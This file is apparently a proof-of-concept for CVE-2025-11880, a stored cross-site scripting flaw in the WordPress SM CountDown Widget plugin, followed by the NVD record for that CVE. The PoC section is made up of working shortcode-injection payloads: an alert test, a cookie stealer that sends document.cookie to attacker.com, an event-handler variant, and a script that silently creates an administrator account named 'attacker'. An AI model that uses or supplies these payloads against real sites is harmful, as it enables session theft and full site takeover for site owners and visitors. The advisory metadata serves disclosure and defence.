CVE-2025-11880

<!-- Stored XSS PoC for CVE-2025-11880 --> <!-- SM CountDown Widget Plugin <= 1.2 --> <!-- Exploit via smcountdown shortcode attribute injection --> <!-- Basic XSS payload via shortcode attribute --> [smcountdown title=""><script>alert('XSS-CVE-2025-11880')</script>"] <!-- Cookie stealing payload (for demonstration) --> [smcountdown title=""><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"] <!-- More stealthy payload using event handler --> [smcountdown title="" onmouseover="alert(document.cookie)"] <!-- Payload for privilege escalation / admin compromise --> [smcountdown title=""><script>var x=new XMLHttpRequest();x.open('POST','/wp-admin/user-new.php',true);x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');x.send('action=createuser&_wpnonce_create-user=&user_login=attacker&[email protected]&pass1=P@ssw0rd123&pass2=P@ssw0rd123&role=administrator');</script>"]

{"cve": {"id": "CVE-2025-11880", "sourceIdentifier": "[email protected]", "published": "2025-10-22T09:15:35.850", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The SM CountDown Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's smcountdown shortcode in versions less than, or equal to, 1.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/smcountdown/tags/1.2/smcountdown-widget.php#L67", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/53419b7c-e1a5-46ef-9110-c88f43b7df1d?source=cve", "source": "[email protected]"}]}}